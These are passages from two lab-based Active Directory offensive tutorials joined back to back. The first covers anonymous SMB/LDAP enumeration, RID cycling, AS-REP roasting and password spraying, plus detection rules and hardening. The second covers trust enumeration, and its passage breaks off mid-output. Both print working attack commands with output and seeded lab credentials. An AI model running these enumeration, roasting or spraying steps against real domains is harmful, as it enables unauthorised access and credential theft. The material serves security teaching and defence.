SMB 10.10.10.10 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.10.10.10 445 DC01 Administrator 2024-01-12 09:14 0 Built-in admin
SMB 10.10.10.10 445 DC01 krbtgt 2024-01-10 22:01 0 Key Distribution Center
SMB 10.10.10.10 445 DC01 jsmith 2024-02-03 11:42 0
SMB 10.10.10.10 445 DC01 svc_sql 2024-02-03 11:45 0 SQL service acct - temp pw Summer2024! rotate by Q3
SMB 10.10.10.10 445 DC01 [*] Enumerated 12 domain users
nxc smb 10.10.10.10 -u '' -p '' --pass-pol
SMB 10.10.10.10 445 DC01 [+] Dumping password info for domain: LAB
SMB 10.10.10.10 445 DC01 Minimum password length: 7
SMB 10.10.10.10 445 DC01 Password history length: 24
SMB 10.10.10.10 445 DC01 Account Lockout Threshold: 5
SMB 10.10.10.10 445 DC01 Account Lockout Duration: 30 minutes
6. LDAP Anonymous Bind Internals
SMB’s SAMR path is one route to the same data; LDAP is the other, and it is richer. Active Directory is an LDAP directory. Every user, group, computer, and policy object lives in the directory tree, and LDAP queries read those objects directly.
An LDAP conversation begins with a BINDRequest. For an anonymous bind, the request carries an empty name (no DN) and authentication: simple with a zero-length password. The server replies with a BindResponse; resultCode 0 means it accepted you as an anonymous principal. After that comes the SearchRequest, which specifies a base DN, a scope (base, one, or sub), a filter like (objectClass=user), and the attributes to return.
LDAP exposes more than SAMR because it surfaces every attribute on the object, not just the SAM view. Two attributes deserve special attention:
| Attribute | Why It Matters |
|---|---|
userAccountControl | Bitmask describing account state |
msDS-SupportedEncryptionTypes | 0 implies RC4-only, an AS-REP roast candidate |
The userAccountControl (UAC) bitmask is the attacker’s filter for finding weak accounts:
| Flag | Hex | Meaning |
|---|---|---|
ADS_UF_ACCOUNTDISABLE | 0x2 | Account disabled (skip it) |
ADS_UF_LOCKOUT | 0x10 | Currently locked out |
ADS_UF_NORMAL_ACCOUNT | 0x200 | Standard user |
ADS_UF_DONT_REQ_PREAUTH | 0x400000 | No Kerberos pre-auth, AS-REP roastable |
ADS_UF_PASSWORD_EXPIRED | 0x800000 | Password expired |
The presence of anonymous LDAP at all is gated by dsHeuristics. When character 7 of that attribute is 2, the directory permits anonymous binds with read access. Default since Server 2003 is to deny it. We flipped it on in the lab; in the wild you find it flipped on because an application demanded it years ago.
7. Hands-On: LDAP Anonymous Bind Enumeration
Confirm anonymous binds return real objects, not just rootDSE. Search the domain naming context for any object and ask only for the DN.
ldapsearch -x -H ldap://10.10.10.10 -b "DC=lab,DC=local" "(objectClass=*)" dn | head -n 20
dn: DC=lab,DC=local
dn: CN=Users,DC=lab,DC=local
dn: CN=Administrator,CN=Users,DC=lab,DC=local
dn: CN=Guest,CN=Users,DC=lab,DC=local
dn: CN=krbtgt,CN=Users,DC=lab,DC=local
dn: OU=ServiceAccounts,DC=lab,DC=local
dn: CN=svc_sql,OU=ServiceAccounts,DC=lab,DC=local
Objects came back without credentials, so this is a genuine anonymous-read misconfiguration. Now pull users with the attributes that matter. Note the description field again.
ldapsearch -x -H ldap://10.10.10.10 -b "DC=lab,DC=local" \
"(objectClass=user)" sAMAccountName userPrincipalName description userAccountControl memberOf
dn: CN=svc_sql,OU=ServiceAccounts,DC=lab,DC=local
sAMAccountName: svc_sql
userPrincipalName: svc_sql@lab.local
description: SQL service acct - temp pw Summer2024! rotate by Q3
userAccountControl: 66048
memberOf: CN=Service Accounts,DC=lab,DC=local
dn: CN=jsmith,CN=Users,DC=lab,DC=local
sAMAccountName: jsmith
userPrincipalName: jsmith@lab.local
userAccountControl: 66048
dn: CN=helpdesk,CN=Users,DC=lab,DC=local
sAMAccountName: helpdesk
userPrincipalName: helpdesk@lab.local
userAccountControl: 4260352
Decode the UAC values. 66048 = 0x10200 = NORMAL_ACCOUNT | DONT_EXPIRE_PASSWORD. The helpdesk account at 4260352 = 0x410200 includes 0x400000 (DONT_REQ_PREAUTH), which marks it AS-REP roastable. You found a Kerberos-roastable account with no credentials at all. Enumerate groups to map privilege:
ldapsearch -x -H ldap://10.10.10.10 -b "DC=lab,DC=local" \
"(objectClass=group)" cn member
dn: CN=Domain Admins,CN=Users,DC=lab,DC=local
cn: Domain Admins
member: CN=Administrator,CN=Users,DC=lab,DC=local
member: CN=asmith,CN=Users,DC=lab,DC=local
dn: CN=Service Accounts,DC=lab,DC=local
cn: Service Accounts
member: CN=svc_sql,OU=ServiceAccounts,DC=lab,DC=local
member: CN=svc_backup,OU=ServiceAccounts,DC=lab,DC=local
asmith is a Domain Admin. That is a target. Enumerate computers for the lateral-movement map:
ldapsearch -x -H ldap://10.10.10.10 -b "DC=lab,DC=local" \
"(objectClass=computer)" dNSHostName operatingSystem
dn: CN=DC01,OU=Domain Controllers,DC=lab,DC=local
dNSHostName: DC01.lab.local
operatingSystem: Windows Server 2022 Standard
dn: CN=SQL01,CN=Computers,DC=lab,DC=local
dNSHostName: SQL01.lab.local
operatingSystem: Windows Server 2019 Standard
windapsearch (use the Go build) wraps these searches into named modules:
windapsearch -d lab.local --dc 10.10.10.10 -m users --full
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.10.10.10
[+] Getting defaultNamingContext from Root DSE
[+] Found: DC=lab,DC=local
[+] Anonymous bind successful
[+] Enumerating all AD users
[+] Found 12 users:
cn: svc_sql
sAMAccountName: svc_sql
description: SQL service acct - temp pw Summer2024! rotate by Q3
...
[+] Found 12 users
For programmatic work, ldap3 in Python gives you the same anonymous bind in a few lines, which you can extend into a custom collector.
from ldap3 import Server, Connection, ALL, SUBTREE
srv = Server('10.10.10.10', port=389, get_info=ALL)
conn = Connection(srv, auto_bind=True) # empty creds => anonymous bind
conn.search('DC=lab,DC=local',
'(objectClass=user)',
search_scope=SUBTREE,
attributes=['sAMAccountName', 'description', 'memberOf'])
for entry in conn.entries:
print(entry.sAMAccountName, '|', entry.description)
Administrator | Built-in admin
krbtgt | Key Distribution Center Service Account
jsmith |
svc_sql | SQL service acct - temp pw Summer2024! rotate by Q3
svc_backup | backup runner
helpdesk |
NetExec’s LDAP module is the quick path, and --password-not-required plus its roast flags surface weak accounts directly:
nxc ldap 10.10.10.10 -u '' -p '' --users
LDAP 10.10.10.10 389 DC01 [+] lab.local\: (anonymous bind)
LDAP 10.10.10.10 389 DC01 [*] Total records returned: 12
LDAP 10.10.10.10 389 DC01 svc_sql SQL service acct - temp pw Summer2024! rotate by Q3
LDAP 10.10.10.10 389 DC01 helpdesk
8. RID Cycling Internals
What if enumdomusers is blocked but SID/Name translation is still allowed? That is the common half-hardened state, and it is exactly where RID cycling shines.
Every security principal in a domain has a SID of the form:
S-1-5-21-<sub1>-<sub2>-<sub3>-<RID>
The S-1-5-21-1004336348-1177238915-682003330 portion is the domain SID, identical for every account in the domain. The final number, the RID (Relative Identifier), uniquely identifies the principal within that domain. Built-in principals have fixed, well-known RIDs:
| RID | Principal |
|---|---|
| 500 | Administrator |
| 501 | Guest |
| 502 | krbtgt |
| 512 | Domain Admins (group) |
| 513 | Domain Users (group) |
| 514 | Domain Guests (group) |
| 515 | Domain Computers (group) |
| 516 | Domain Controllers (group) |
User and group accounts created after install begin at RID 1000 and increment. So the attack is mechanical: take the known domain SID, append RID 500, 501, 502, … up through some ceiling like 2000, and ask the DC to translate each full SID back into a name. The DC answers through LsarLookupSids (MS-LSAD) or SamrLookupIdsInDomain (MS-SAMR).
Why does this bypass RestrictAnonymous=1? Because the SID/Name translation interface is governed by the separate “Allow anonymous SID/Name translation” policy. Block bulk enumeration all you want; if translation stays open, an attacker rebuilds the entire roster one RID at a time. That separation is the crux of why RID cycling is so resilient.

9. Hands-On: RID Cycling
You already have the domain SID from lsaquery. Confirm it once more non-interactively:
rpcclient -N -U "" 10.10.10.10 -c "lsaquery"
Domain Name: LAB
Domain Sid: S-1-5-21-1004336348-1177238915-682003330
Now cycle RIDs by hand. The loop appends each RID to the domain SID and calls lookupsids, filtering out the misses.
for rid in $(seq 500 1200); do
rpcclient -N -U "" 10.10.10.10 \
-c "lookupsids S-1-5-21-1004336348-1177238915-682003330-${rid}" \
2>/dev/null | grep -v "unknown"
done
S-1-5-21-1004336348-1177238915-682003330-500 LAB\Administrator (1)
S-1-5-21-1004336348-1177238915-682003330-501 LAB\Guest (1)
S-1-5-21-1004336348-1177238915-682003330-502 LAB\krbtgt (1)
S-1-5-21-1004336348-1177238915-682003330-512 LAB\Domain Admins (2)
S-1-5-21-1004336348-1177238915-682003330-513 LAB\Domain Users (2)
S-1-5-21-1004336348-1177238915-682003330-1103 LAB\jsmith (1)
S-1-5-21-1004336348-1177238915-682003330-1104 LAB\asmith (1)
S-1-5-21-1004336348-1177238915-682003330-1106 LAB\svc_sql (1)
S-1-5-21-1004336348-1177238915-682003330-1108 LAB\SQL01$ (1)
The trailing (1) denotes SidTypeUser, (2) denotes SidTypeGroup. Machine accounts (SQL01$) show up as users too, so you filter the $ later. Impacket’s lookupsid.py automates the whole cycle, taking a max-RID argument:
lookupsid.py 'lab.local/'@10.10.10.10 1200 -no-pass | tee lookupsid_raw.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Brute forcing SIDs at 10.10.10.10
[*] StringBinding ncacn_np:10.10.10.10[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1004336348-1177238915-682003330
500: LAB\Administrator (SidTypeUser)
501: LAB\Guest (SidTypeUser)
502: LAB\krbtgt (SidTypeUser)
512: LAB\Domain Admins (SidTypeGroup)
1103: LAB\jsmith (SidTypeUser)
1104: LAB\asmith (SidTypeUser)
1106: LAB\svc_sql (SidTypeUser)
1107: LAB\svc_backup (SidTypeUser)
1108: LAB\SQL01$ (SidTypeUser)
1110: LAB\helpdesk (SidTypeUser)
Turn raw output into a clean username wordlist. Keep only SidTypeUser, drop machine accounts ending in $, and isolate the sAMAccountName.
grep SidTypeUser lookupsid_raw.txt | grep -v '\$' \
| awk -F'\\\\' '{print $2}' | awk '{print $1}' > users.txt
cat users.txt
Administrator
Guest
krbtgt
jsmith
asmith
svc_sql
svc_backup
helpdesk
mjohnson
rpatel
lchen
NetExec performs the same cycle with one flag (note it often wants the anonymous username string rather than empty):
nxc smb 10.10.10.10 -u 'anonymous' -p '' --rid-brute 2000
SMB 10.10.10.10 445 DC01 [+] lab.local\anonymous:
SMB 10.10.10.10 445 DC01 498: LAB\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.10.10 445 DC01 500: LAB\Administrator (SidTypeUser)
SMB 10.10.10.10 445 DC01 1103: LAB\jsmith (SidTypeUser)
SMB 10.10.10.10 445 DC01 1106: LAB\svc_sql (SidTypeUser)
SMB 10.10.10.10 445 DC01 1110: LAB\helpdesk (SidTypeUser)
And enum4linux-ng exposes a dedicated RID range mode:
enum4linux-ng -R 500-2000 10.10.10.10
====================================
| RID Cycling on 10.10.10.10 |
====================================
[*] Trying SID S-1-5-21-1004336348-1177238915-682003330
[+] 500: LAB\Administrator (SidTypeUser)
[+] 1103: LAB\jsmith (SidTypeUser)
[+] 1106: LAB\svc_sql (SidTypeUser)
[+] 1110: LAB\helpdesk (SidTypeUser)
[+] Found 11 user accounts via RID cycling
A gotcha that cost me an afternoon early on: if you cycle RIDs but get nothing back while enumdomusers was already blocked, check the “Allow anonymous SID/Name translation” policy. With it disabled, lookupsids returns *unknown* for every RID and you wrongly conclude the host is hardened, when really the other path is just closed.
10. Attack Chain: From Zero Credentials to a Target User List
The three primitives are not independent tricks; they reinforce each other. The chain runs like this:
- SMB null session confirms access and yields the domain SID via
lsaquery. - LDAP anonymous bind enriches the picture with group membership, UAC flags, and description fields (where
svc_sql‘s password lives). - RID cycling rebuilds the complete validated username list even if direct enumeration is partially blocked.
The users.txt you produced is the input to the first zero-credential offensive move: AS-REP roasting. Accounts with DONT_REQ_PREAUTH set (you spotted helpdesk earlier) will hand you an encrypted AS-REP blob crackable offline, no password required.
GetNPUsers.py lab.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$helpdesk@LAB.LOCAL:9f86d081884c7d659a2feaa0c55ad015$a3f1e0...c2b7d4e8f
[-] User svc_sql doesn't have UF_DONT_REQUIRE_PREAUTH set
That $krb5asrep$23$... hash feeds straight into hashcat -m 18200. Separately, the validated list plus the known policy (lockout 5, complexity on) lets you run a careful spray with the description-leaked candidate:
nxc smb 10.10.10.10 -u users.txt -p 'Summer2024!' --continue-on-success
SMB 10.10.10.10 445 DC01 [-] lab.local\Administrator:Summer2024! STATUS_LOGON_FAILURE
SMB 10.10.10.10 445 DC01 [-] lab.local\jsmith:Summer2024! STATUS_LOGON_FAILURE
SMB 10.10.10.10 445 DC01 [+] lab.local\svc_sql:Summer2024!
You started with no credentials. You now hold svc_sql, sourced directly from a description field that anonymous LDAP leaked. That is the pivot into the authenticated phase of the engagement.

11. Common Attacker Techniques
| Technique | Description |
|---|---|
| SMB null session | Anonymous IPC$ connect to reach SAMR/LSARPC/SRVSVC pipes |
| SAMR enumeration | enumdomusers/enumdomgroups to pull the roster directly |
| LSARPC policy query | lsaquery to recover the domain SID |
| LDAP anonymous bind | Read users, groups, computers, UAC flags, descriptions |
| Description-field mining | Harvest plaintext passwords admins leave in description |
| RID cycling | SID/Name translation across a RID range to rebuild the user list |
| List weaponization | Feed usernames into AS-REP roasting and password spraying |
12. Defensive Strategies & Detection
Every step above leaves tracks if auditing is on. The signature event is the ANONYMOUS LOGON (SID S-1-5-7) network logon, often immediately followed by IPC$ share access and a burst of SID/Name translations.
| Event ID | Source | What to Watch For |
|---|---|---|
4624 | Security | Logon Type 3 where Account Name is ANONYMOUS LOGON |
4625 | Security | Same anonymous pattern on blocked attempts |
5140 | Security | Share access to \\*\IPC$ from an anonymous source |
4798 | Security | A user’s local group membership enumerated |
4799 | Security | Security-enabled local group membership enumerated |
4688 / Sysmon 1 | Security / Sysmon | rpcclient, enum4linux, ldapsearch, lookupsid.py, nxc in the command line (on attacker-side or jump hosts you control) |
RID cycling has a loud tell: a rapid run of 4624/5140 from one source plus high-volume SID lookups. On the DC’s directory service side, two events matter. Event 2889 (in the Directory Service log) records LDAP binds performed without signing, which flags both anonymous and cleartext binds. Event 1644 logs expensive or inefficient LDAP queries once you raise diagnostics:
HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics\15 Field Engineering = 5
Relevant ETW providers:
| Provider | Surfaces |
|---|---|
Microsoft-Windows-Security-Auditing | All Security event IDs above |
Microsoft-Windows-SMBServer | Named-pipe and share access correlating IPC$ |
Microsoft-Windows-ActiveDirectory_DomainService | LDAP bind/query volume, base DN, filters, attributes (Events 2889, 1644) |
A correlation rule that fires on the anonymous-logon-then-IPC$ sequence catches the entry point cleanly:
title: SMB Anonymous Logon to IPC$ (Null Session Enumeration)
status: experimental
logsource:
product: windows
service: security
detection:
selection_logon:
EventID: 4624
LogonType: 3
SubjectUserName: 'ANONYMOUS LOGON'
selection_share:
EventID: 5140
ShareName: '\\*\IPC$'
SubjectUserName: 'ANONYMOUS LOGON'
timeframe: 1m
condition: selection_logon and selection_share
falsepositives:
- Legacy applications requiring anonymous access
level: high
tags:
- attack.discovery
- attack.t1087.002
- attack.t1069.002
- attack.t1135
None of this fires without the right audit policy. Enable, via Computer Config > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration:
- Logon/Logoff: Audit Logon – Success and Failure (4624/4625)
- Object Access: Audit File Share – Success and Failure (5140)
- Account Management: Audit Security Group Management – Success (4798/4799)
- DS Access: Audit Directory Service Access – Success (LDAP query visibility)
13. Hardening and Defense
The fix is straightforward once you accept it may break a legacy dependency. Reverse the lab changes and lock the directory down.
# Close anonymous SMB/SAM enumeration
$lsa = 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa'
Set-ItemProperty -Path $lsa -Name RestrictAnonymous -Value 1 -Type DWord
Set-ItemProperty -Path $lsa -Name RestrictAnonymousSAM -Value 1 -Type DWord
Set-ItemProperty -Path $lsa -Name EveryoneIncludesAnonymous -Value 0 -Type DWord
# Enforce LDAP signing and channel binding
$ntds = 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters'
Set-ItemProperty -Path $ntds -Name 'LDAPServerIntegrity' -Value 2 -Type DWord
Set-ItemProperty -Path $ntds -Name 'LdapEnforceChannelBinding' -Value 2 -Type DWord
Apply the matching Group Policy under Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options:
| Mitigation | Setting |
|---|---|
| Restrict anonymous to named pipes/shares | Enabled |
| Do not allow anonymous enumeration of SAM accounts | Enabled |
| Do not allow anonymous enumeration of SAM accounts and shares | Enabled |
| Allow anonymous SID/Name translation | Disabled (kills RID cycling) |
| LDAP server signing requirements | Require signing |
Then close the LDAP anonymous bind by resetting dsHeuristics so character 7 is not 2 (clear it or set it to 0), remove ANONYMOUS LOGON from the legacy compatibility group, and enforce encrypted LDAPS:
net localgroup "Pre-Windows 2000 Compatible Access"
Members
-------------------------------------------------------------------------------
NT AUTHORITY\Authenticated Users
The command completed successfully.
If ANONYMOUS LOGON appears in that list, remove it. Finally, segment the network: block 139, 445, 389, and 636 at the perimeter and restrict DC reachability to subnets that legitimately need it. Server 2016 and later disable null sessions by default, so the lasting risk is migration drift and vendor exceptions. Audit those exceptions on a schedule, not once.

14. Tools for Anonymous Enumeration Analysis
| Tool | Description | Link |
|---|---|---|
rpcclient | Manual SAMR/LSARPC/SRVSVC calls over null session | samba.org |
smbclient | List shares and connect over SMB | samba.org |
enum4linux-ng | Automated null-session and RID-cycle enumeration | github.com/cddmp/enum4linux-ng |
NetExec (nxc) | SMB/LDAP modules, --users, --rid-brute, --pass-pol | netexec.wiki |
ldapsearch | Anonymous LDAP bind and search | openldap.org |
windapsearch | Module-driven LDAP enumeration | github.com/ropnop/windapsearch |
Impacket lookupsid.py | Automated RID cycling via LSARPC | github.com/fortra/impacket |
ldap3 (Python) | Programmatic anonymous binds and custom collectors | pypi.org |
| Wireshark | Inspect SMB negotiate, BINDRequest, RPC pipe traffic | wireshark.org |
15. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Account Discovery: Domain Account | T1087.002 | 4624 anonymous + SAMR/LDAP query bursts; Sysmon 1 on enum tooling |
| Permission Groups Discovery: Domain Groups | T1069.002 | 4799 group enumeration; LDAP (objectClass=group) queries via 1644 |
| Network Share Discovery | T1135 | 5140 IPC$ access; netshareenum over srvsvc |
| Gather Victim Network Information: Domain Properties | T1590.001 | lsaquery/rootDSE reads; 2889 unsigned binds |
| Gather Victim Identity Information: Credentials | T1589.001 | LDAP reads of description attribute (Event 1644) |
Primary tactic: TA0007 (Discovery). For pre-compromise external probing of exposed LDAP/SMB: TA0043 (Reconnaissance).
Summary
- Anonymous SMB and LDAP turn zero credentials into a full domain map: users, groups, policy, shares, and the domain SID. The primitives are legacy compatibility features that survive in upgraded and misconfigured domains.
- The chain compounds: null session yields the domain SID via
lsaquery, LDAP anonymous bind leaks UAC flags anddescription-field passwords, and RID cycling rebuilds the user list even when direct enumeration is blocked. - RID cycling is the resilient link because SID/Name translation is governed separately from
RestrictAnonymous; leave “Allow anonymous SID/Name translation” enabled and the roster leaks one RID at a time. - The output is a weaponized username list feeding AS-REP roasting (
GetNPUsers.py) and policy-aware password spraying, the pivot into the authenticated phase. - Detect via Event 4624 (ANONYMOUS LOGON, Type 3) correlated with 5140 IPC$ access, plus Directory Service Events 2889 and 1644; eliminate via
RestrictAnonymous=1/RestrictAnonymousSAM=1, disabled anonymous SID translation, LDAP signing and channel binding, and adsHeuristicsthat does not enable anonymous bind.
Related Tutorials
- Bad Characters, Null Bytes, and Restricted Character Sets
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
References
Trust, Share, and File Hunting: Mapping the Forest and Finding Credentials in Data
Objective: Learn to enumerate Active Directory trust relationships across domains and forests, discover and access SMB shares at scale, and harvest credentials and sensitive data from files left lying on those shares – then see exactly how a defender catches every step. Everything here runs against a self-built lab forest.
Most red-team reports I have written that ended in Domain Admin did not start with a flashy zero-day. They started with a low-privileged user account, a map of the forest, and a file share that somebody forgot to lock down ten years ago. Trust enumeration tells you where you can go. Share enumeration tells you what is reachable. File hunting tells you what is sitting there in cleartext. Chain those three and you frequently skip half the kill chain.
This guide is enumeration-first throughout. For every technique I show the recon that surfaces the opportunity before I touch the exploitation, because the finding is what teaches you, not the syntax.
1. Forest Architecture Primer
A forest is the top-level security boundary in Active Directory. Inside it live one or more domains arranged into trees that share a schema, a configuration partition, and a global catalog. A trust is a relationship that lets principals in one domain authenticate against resources in another. Trusts are why a compromise of a low-value child domain so often turns into a compromise of the entire forest.
When a user in child.corp.local requests a service in corp.local, Kerberos does not magically know about the foreign account. The child DC issues an inter-realm TGT (referral ticket) encrypted with the shared trust key that both domains negotiated when the trust was created. The user presents that referral to the target domain’s KDC, which trusts it because it can decrypt it. The PAC (Privilege Attribute Certificate) inside the ticket carries the user’s SIDs, and this is precisely where SID filtering and SID-History injection become relevant.
Trust Types
| Trust Type | Description |
|---|---|
| Parent-Child | Automatic, transitive trust created between a parent domain and its child in the same tree (corp.local and child.corp.local). |
| Tree-Root | Automatic, transitive trust between forest root and the root of a new tree in the same forest. |
| Cross-Link (Shortcut) | Manually created transitive trust to shorten the referral path between two child domains. |
| External | Non-transitive trust to a domain in a different forest or an NT4 domain. SID filtering is on by default. |
| Forest | Transitive trust between two forest roots; extends trust to all domains in both forests. |
| Realm | Trust to a non-Windows Kerberos realm (MIT/Heimdal). |
Trust Direction and Transitivity
Direction decides who can reach whom. A one-way outbound trust from A to B means B’s users can access A’s resources, not the other way around. A bidirectional trust works both ways. The LDAP trustDirection attribute on a trustedDomain object encodes this:
trustDirection Value | Meaning |
|---|---|
1 | Inbound (trusted domain trusts this one) |
2 | Outbound (this domain trusts the partner) |
3 | Bidirectional |
Transitivity means trust flows through. If A trusts B and B trusts C transitively, A effectively trusts C. Intra-forest trusts are always transitive. External trusts are not, which is exactly why attackers prefer to find a forest trust.
SID Filtering and Why It Matters
When a referral ticket crosses a trust, its PAC contains the user’s SID plus any SIDs in the SIDHistory attribute. SID filtering is the guardrail: the trusting domain strips foreign SIDs that do not belong to the trusted domain, including anything injected into SID history. If SID filtering is disabled or never enforced (common on older external trusts and on intra-forest trusts, where it is off by design), an attacker who controls the trusted domain can stuff a privileged SID such as the Enterprise Admins RID into the PAC and walk across the boundary. That downstream attack is SID-History Injection (T1134.005). Our job in enumeration is to find which trusts leave that door open.
The Get-ADTrust cmdlet surfaces this directly through SIDFilteringQuarantined and SIDFilteringForestAware. When SIDFilteringQuarantined is False on an external trust, the quarantine is off and the trust is abusable.
2. Building the Lab
Stand up a small two-domain forest plus an optional second forest in your hypervisor of choice. Windows Server Evaluation media works fine for the DCs.
| VM | Role | IP |
|---|---|---|
DC01.corp.local | Forest root DC (Server 2022) | 192.168.10.10 |
FS01.corp.local | File server (Server 2019) | 192.168.10.20 |
WS01.corp.local | Windows 11 workstation (foothold) | 192.168.10.50 |
DC02.child.corp.local | Child domain DC (Server 2022) | 192.168.20.10 |
DC.partner.local | Second forest root (Server 2022) | 192.168.30.10 |
| Kali Linux | Attacker box | 192.168.10.100 |
Intentional misconfigurations to seed:
\\FS01\IT_Scriptswith NTFS ACLAuthenticated Users: Read. Drop adeploy.ps1containing$cred = "Summer2024!".\\FS01\BackupswithEveryone: Read. Drop aweb.configcontaining<add key="DBPassword" value="Summer2024!"/>and anunattend.xmlwith<AutoLogon><Password><Value>LabPass1</Value></Password></AutoLogon>.- On
DC01, create a GPO that uses Group Policy Preferences to set a local Administrator password. This writes aGroups.xmlwith acpasswordto SYSVOL. Make that password match the local Administrator onFS01. - On
DC02, leave\\DC02\NETLOGON\setup_notes.txtcontainingsvc_sql / P@ssw0rd123. - Configure a forest trust between
corp.localandpartner.localwith SID filtering disabled.
Your foothold is the domain user corp\jdoe (password Password1), the kind of account you get from a phishing payload or a captured credential.
3. Trust Enumeration: APIs, LDAP, and Native Tools
Before touching shares, map the terrain. Every trust you find is a potential lateral or escalation path, and the cheapest way to enumerate trusts is with tools already on the host.
Under the hood, most trust enumerators call the Win32 API DSEnumerateDomainTrusts() from Netapi32.dll. It returns a NETLOGON_TRUSTED_DOMAIN_ARRAY, which is a count plus a pointer to an array of DS_DOMAIN_TRUSTS structures. Each entry describes one trust.
// Illustrative shapes - verify field names against current Microsoft Learn docs.
typedef struct _DS_DOMAIN_TRUSTS {
LPTSTR NetbiosDomainName; // e.g. "CHILD"
LPTSTR DnsDomainName; // e.g. "child.corp.local"
ULONG Flags; // DS_DOMAIN_IN_FOREST, DS_DOMAIN_DIRECT_OUTBOUND, ...
ULONG ParentIndex;
ULONG TrustType;
ULONG TrustAttributes; // bitfield: forest, quarantine/SID-filter, etc.
PSID DomainSid; // the trusted domain SID
GUID DomainGuid;
} DS_DOMAIN_TRUSTS, *PDS_DOMAIN_TRUSTS;
typedef struct _NETLOGON_TRUSTED_DOMAIN_ARRAY {
DWORD DomainCount;
PDS_DOMAIN_TRUSTS Domains;
} NETLOGON_TRUSTED_DOMAIN_ARRAY;
The Flags field tells you direction (DS_DOMAIN_DIRECT_OUTBOUND, DS_DOMAIN_DIRECT_INBOUND) and whether the domain sits inside the forest (DS_DOMAIN_IN_FOREST). DomainSid is the gold: that SID is what you need for any SID-history work later.
Native enumeration with nltest
nltest.exe ships on every Windows host and wraps the same API. It is also a known adversary tool, so expect it to be watched.
C:\> nltest /domain_trusts /all_trusts
List of domain trusts:
0: CORP corp.local (NT 5) (Forest Tree Root) (Primary Domain) (Native)
1: CHILD child.corp.local (NT 5) (Direct Outbound) (Direct Inbound) (Attr: within_forest)
2: PARTNER partner.local (NT 5) (Direct Outbound) (Direct Inbound) (Forest: 1)
The command completed successfully
Three trusts. CHILD is intra-forest (note within_forest). PARTNER is a forest trust (Forest: 1) to a different forest, which is the high-value path because forest trusts are transitive.
Identify a DC in each domain so you know where to aim queries and tickets:
C:\> nltest /dclist:child.corp.local
Get list of DCs in domain 'child.corp.local' from '\\DC02.child.corp.local'.
DC02.child.corp.local [PDC] [DS] Site: Default-First-Site-Name
The command completed successfully
netdom and Get-ADTrust
netdom query trust gives a cleaner direction column:
C:\> netdom query trust /Domain:corp.local
Direction Trusted\Trusting domain Trust type
========= ======================= ==========
<-> child.corp.local Direct
<-> partner.local Forest
The command completed successfully.
Get-ADTrust (RSAT ActiveDirectory module) reads the trustedDomain object class via LDAP and is the single best tool for spotting SID-filtering state:
Get-ADTrust -Filter * | Select Source,Target,Direction,TrustType,ForestTransitive,SIDFilteringQuarantined,SIDFilteringForestAware
Source : DC=corp,DC=local
Target : child.corp.local
Direction : BiDirectional
TrustType : Uplevel
ForestTransitive : False
SIDFilteringQuarantined : False
SIDFilteringForestAware : False
Source : DC=corp,DC=local
Target : partner.local
Direction : BiDirectional
TrustType : Uplevel
ForestTransitive : True
SIDFilteringQuarantined : False
SIDFilteringForestAware : False
That partner.local row is the prize. A bidirectional, forest-transitive trust with SIDFilteringQuarantined : False means foreign SIDs are not being stripped. If you can get control inside one forest, SID-history injection across this trust is on the table.
Reading trustedDomain objects directly over LDAP
When you have no RSAT and only network access from Kali, query the raw trustedDomain objects under CN=System:
ldapsearch -x -H ldap://192.168.10.10 -D 'jdoe@corp.local' -w 'Password1' \
-b "CN=System,DC=corp,DC=local" "(objectClass=trustedDomain)" \
trustPartner trustDirection trustType trustAttributes securityIdentifier
# child.corp.local, System, corp.local
dn: CN=child.corp.local,CN=System,DC=corp,DC=local
trustPartner: child.corp.local
trustDirection: 3
trustType: 2
trustAttributes: 32
securityIdentifier:: AQQAAAAAAAUVAAAAr8Y0u0Yp8h0wPq1y
# partner.local, System, corp.local
dn: CN=partner.local,CN=System,DC=corp,DC=local
trustPartner: partner.local
trustDirection: 3
trustType: 2
trustAttributes: 8
securityIdentifier:: AQQAAAAAAAUVAAAAQUFBQkJCQkNDQ0NE
Decode trustAttributes: 32 is 0x20 = TRUST_ATTRIBUTE_WITHIN_FOREST (the child). 8 is 0x8 = TRUST_ATTRIBUTE_FOREST_TRANSITIVE (the partner forest trust). The 0x4 bit, TRUST_ATTRIBUTE_QUARANTINED_DOMAIN, governs SID filtering on external trusts; its absence on a trust where you expected it is your signal that filtering is not enforced. The securityIdentifier is the trusted domain SID, base64-encoded here, and it is exactly what feeds a SID-history attack later.

4. Forest Mapping with PowerView and BloodHound
Native tools tell you trusts exist. PowerView and BloodHound tell you what those trusts let you reach.
PowerView
Import-Module .\PowerView.ps1
Get-DomainTrust
SourceName : corp.local
TargetName : child.corp.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 3/14/2024 9:02:11 AM
SourceName : corp.local
TargetName : partner.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Bidirectional
WhenCreated : 3/14/2024 9:41:55 AM
Get-ForestTrust enumerates the cross-forest relationships by calling GetAllTrustRelationships() on a System.DirectoryServices.ActiveDirectory.Forest object:
Get-ForestTrust
TopLevelNames : {partner.local}
ExcludedTopLevelNames : {}
TrustedDomainInformation : {partner.local}
SourceName : corp.local
TargetName : partner.local
TrustType : Forest
TrustDirection : Bidirectional
Because the intra-forest trust is transitive and bidirectional, your jdoe token can query the child domain directly. Prove it by enumerating users across the trust:
Get-DomainUser -Domain child.corp.local -Properties samaccountname,description | ft
samaccountname description
-------------- -----------
Administrator Built-in account for administering the domain
krbtgt Key Distribution Center Service Account
